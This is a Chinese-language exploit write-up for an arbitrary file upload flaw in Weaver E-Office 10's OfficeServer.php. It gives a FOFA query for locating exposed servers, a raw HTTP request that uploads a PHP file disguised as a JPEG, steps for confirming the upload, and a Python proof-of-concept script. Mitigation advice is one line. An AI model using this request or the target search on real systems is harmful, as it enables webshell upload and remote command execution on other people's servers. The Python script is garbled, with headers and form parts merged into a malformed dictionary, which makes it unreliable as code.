声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
漏洞简介
泛微e-ofice是一款标准化的协同0A办公软件,泛微 E-ofice 10 0ficeServer 存在任意文件上传漏洞,攻击者可以上传任意文件,获取webshell,在服务器上执行任意命令、读取敏感信息等
FOFA语法
body="eoffice10" && body="eoffice_loading_tip"
Poc
POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 395
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Accept-Encoding: gzip, deflate
Connection: close
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Content-Disposition: form-data; name="FileData"; filename="1.jpg"
Content-Type: image/jpeg
<?php phpinfo();unlink(__FILE__);?>
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Content-Disposition: form-data; name="FormData"
{'USERNAME':'','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'test12.php'}
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs--
漏洞复现
1、访问漏洞环境
2、老形式,burp重放一下
出现下面的状态码和响应包说明漏洞可能存在
3、然后访问如下的URL链接,即可查看上传文件内容
http://xxx.xxx.xxx.xxx/eoffice10/server/public/iWebOffice2015/Document/test12.php
poc(python脚本)
import re
import requests
url='http://xxxxxxxxxx/eoffice10/server/public/iWebOffice2015/OfficeServer.php'
headers = {
'User - Agent':'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0',
'Content - Length':'393',
'Content - Type': 'multipart / form - data;',
'boundary = ----WebKitFormBoundaryJjb5ZAJOOXO7fwjs'
'Accept - Encoding': 'gzip, deflate',
'Connection':'close'
}
data = {
"------WebKitFormBoundaryJjb5ZAJOOXO7fwjs"
'Content-Disposition': 'form-data; name="FileData"; filename="1.jpg"',
'Content-Type': 'image/jpeg'
'<?php phpinfo();unlink(__FILE__);?>'
"------WebKitFormBoundaryJjb5ZAJOOXO7fwjs",
'Content-Disposition': 'form-data; name="FormData"'
"{'USERNAME':'','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'test12.php'}"
"------WebKitFormBoundaryJjb5ZAJOOXO7fwjs--"
}
response = requests.post(url, headers=headers, data=data)
print('Status Code:', response.status_code)
if response.status_code == 200:
print("存在泛微OA E-Office V10 OfficeServer 任意文件上传漏洞!!")
修复建议
去官网打补丁